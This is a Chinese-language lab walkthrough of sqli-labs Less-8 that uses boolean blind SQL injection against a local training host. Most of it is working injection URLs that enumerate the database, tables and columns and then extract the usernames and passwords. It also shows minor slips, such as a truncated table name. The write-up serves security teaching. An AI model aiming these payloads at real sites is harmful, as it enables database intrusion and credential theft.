sql_lab之sqli中的布尔盲注(Boolean)less8

目录

1.首先给出value

2.判断注入类型

3.判断字段数

4.判断用什么注入

  (1)用union联合查询来尝试

 (2)用报错注入尝试

(3)用布尔盲注来进行查询

5.判断当前数据库名的长度

(1)将所需要的变量加§,并选择束集炸弹

(2)将变量1改为

(3)将变量2改为

(4)得到最终结果

(5)根据ascii码将结果进行查询得到

6.判断表名

(1)判断表的数量

(2)查询每个表名的长度  

(3)查询表名

7.判断字段名

(1)判断字段数量

(2)判断每个字段的长度

(3)判读字段名

8.查询最终结果username和password


1.首先给出value

http://127.0.0.3/less-8/?id=1 有回显

2.判断注入类型

http://127.0.0.3/less-8/?id=1 有回显

http://127.0.0.3/less-8/?id=1’ 没有回显

http://127.0.0.3/less-8/?id=1’ -- s 有回显

http://127.0.0.3/less-8/?id=1' and 1=1 -- s  有回显

http://127.0.0.3/less-8/?id=1' and 1=2 -- s  没有回显

说明注入类型是单引号字符串注入

3.判断字段数

http://127.0.0.3/less-8/?id=1' order by 3 -- s  有回显

http://127.0.0.3/less-8/?id=1' order by 4 -- s  没有回显

说明字段数为3

4.判断用什么注入

  (1)用union联合查询来尝试

http://127.0.0.3/less-8/?id=1' UNION SELECT 1,database,3 -- s  没有回显说明不是union联合查询

 (2)用报错注入尝试

   http://127.0.0.3/less-8/?id=1' and updatexml('',concat('1111',database(),'1'),'1') -- s  没有回显说明不是报错注

(3)用布尔盲注来进行查询

 http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s   没有回显

http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s   有回显 

则证明是布尔盲注

5.判断当前数据库名的长度

http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s   没有回显

http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s   有回显 

则证明数据库名长度为8

用burp进行爆破

(1)将所需要的变量加§,并选择束集炸弹

sql_lab之sqli中的布尔盲注(Boolean)less8_第1张图片

(2)将变量1改为

sql_lab之sqli中的布尔盲注(Boolean)less8_第2张图片

(3)将变量2改为

sql_lab之sqli中的布尔盲注(Boolean)less8_第3张图片

(4)得到最终结果

sql_lab之sqli中的布尔盲注(Boolean)less8_第4张图片

  

(5)根据ascii码将结果进行查询得到

数据库名为security

6.判断表名

(1)判断表的数量

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) =4 -- s 有回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >3 -- s 有回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >4 -- s 没有回显

说明security中有4个表

(2)查询每个表名的长度  

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) =6 -- s  有回显

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >10 -- s 没有回显

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >5 -- s 有回显

说明第一个表名的的长度为6

用burp爆破

将所需要的变量加§,并选择束集炸弹

sql_lab之sqli中的布尔盲注(Boolean)less8_第5张图片

将变量1改为

sql_lab之sqli中的布尔盲注(Boolean)less8_第6张图片

将变量2改为

sql_lab之sqli中的布尔盲注(Boolean)less8_第7张图片

最终结果为

sql_lab之sqli中的布尔盲注(Boolean)less8_第8张图片

(3)查询表名

第一个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)) = 1 -- s

通过burp爆破步骤同上得到

sql_lab之sqli中的布尔盲注(Boolean)less8_第9张图片

所以第一个表名为:emails

第二个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1)) = 1 -- s

sql_lab之sqli中的布尔盲注(Boolean)less8_第10张图片

所以第二个表名为:refere

第三个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1),1,1)) = 1 -- s

sql_lab之sqli中的布尔盲注(Boolean)less8_第11张图片

所以第三个表名为:uagent

第四个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 3,1),1,1)) = 1 -- s

所以第四个表名为:users

查到users用户表名

7.判断字段名

(1)判断字段数量

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =2 -- s无回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =3 -- s 有回显

说明字段名的字段数是3

(2)判断每个字段的长度

用SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1

用burp爆破,步骤同上得到

所以字段1的长度为2,字段2的长度为8,字段3的长度为8

(3)判读字段名

步骤同上

sql_lab之sqli中的布尔盲注(Boolean)less8_第12张图片

1

sql_lab之sqli中的布尔盲注(Boolean)less8_第13张图片

2

sql_lab之sqli中的布尔盲注(Boolean)less8_第14张图片

3

sql_lab之sqli中的布尔盲注(Boolean)less8_第15张图片

查询得

sql_lab之sqli中的布尔盲注(Boolean)less8_第16张图片

所以第一个字段名为id,第二个字段名为username,第三个字段名为password

8.查询最终结果username和password

查询username和password总数

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(username) FROM users) =13 -- s 

Username=13

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(password) FROM users) =13 -- s

Password=13

查询username和password的最终结果

Username

sql_lab之sqli中的布尔盲注(Boolean)less8_第17张图片

passowrd同理

你可能感兴趣的:(sql,数据库)